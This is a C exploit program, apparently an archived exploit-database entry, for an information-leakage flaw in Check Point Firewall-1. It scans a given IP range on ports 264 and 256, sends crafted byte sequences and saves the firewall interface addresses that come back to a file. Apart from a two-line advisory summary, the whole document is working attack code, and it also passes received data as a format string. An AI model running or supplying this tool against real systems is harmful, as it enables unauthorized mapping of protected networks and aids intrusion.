// source: https://www.securityfocus.com/bid/8524/info An information leakage issue has been discovered in Check Point Firewall-1. Because of this, an attacker may gain sensitive information about network resources. /************************************************************************/ /* The syntax is: */ /* fw1_getints (start IP address) (end IP address) */ /* */ /* Author: Jim Becher -- jim@becher.net */ /************************************************************************/ #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <ctype.h> #include <arpa/nameser.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #define BUFSIZE 64 void snatch(int sock, char *pass) { int i, z, sockfd, len, result, bytes; int octet=0; char temp1[]="\x30\x00\x00\x03"; char temp2[]="\x02\x59\x05\x21"; char temp3[]="\x00\x00\x00\x08"; char command[256]; char buffer[BUFSIZE]=""; FILE *out; char outfile[21]; sockfd=sock; result=send(sockfd,temp1,4,0); sleep(1); /* Ugly... */ result=send(sockfd,temp2,4,0); result=read(sockfd, buffer, BUFSIZE); result=send(sockfd,temp3,4,0); result=read(sockfd, buffer, BUFSIZE); sprintf(outfile, "ints.%s", pass); out = fopen(outfile, "w"); fprintf(out, "ints:\n", 6); i=4; while (i<result) { for (z=1; z<5; z++) { if ( buffer[i] < 0 ) { octet=buffer[i]+256; } else { octet=buffer[i]; } fprintf(out, "%d", octet); i++; if (z != 4) { fprintf(out, "."); } } fprintf(out, "\n"); } fprintf(out, buffer, BUFSIZE); close(sockfd); } void main(int argc, char *argv[]) { int sock; struct in_addr addr; struct sockaddr_in sin; unsigned long start; unsigned long end; unsigned long counter; char buffer[1000]; struct hostent *hp=NULL; unsigned long lAddr; char *p; char trash[16]; if (argc!=3) { printf("\nusage : %s start-ip-address end-ip-address\n\n",argv[0]); exit(0); } start=inet_addr(argv[1]); end=inet_addr(argv[2]); for (counter = ntohl(start); counter <= ntohl(end); counter++) { int jim=0, h=0; sock=socket(AF_INET, SOCK_STREAM, 0); if ((counter & 0xff) == 255) counter++; if ((counter & 0xff) == 0) counter++; sin.sin_family=AF_INET; sin.sin_port=htons(264); sin.sin_addr.s_addr=htonl(counter); addr.s_addr=htonl(counter); bzero(&(sin.sin_zero), 8); fprintf(stdout, "Checking: %s\n", inet_ntoa(addr)); p=inet_ntoa(addr); strcpy(trash, p); jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin)); if (jim==0) { fprintf(stdout, "Port 264 open on %s -- Checkpoint Firewall-1 v4.1 or later.\n",inet_ntoa(addr)); snatch(sock, trash); } else { fprintf(stdout, "Can not connect to %s on port 264\n\n", inet_ntoa(addr)); sin.sin_port=htons(256); jim=0; jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin)); if (jim==0) { fprintf(stdout, "Port 256 open on %s -- Checkpoint Firewall-1 4.0 or earlier.\n",inet_ntoa(addr)); snatch(sock, trash); } else { fprintf(stdout, "Can not connect to %s on port 256\n\n", inet_ntoa(addr)); } } jim=0; } }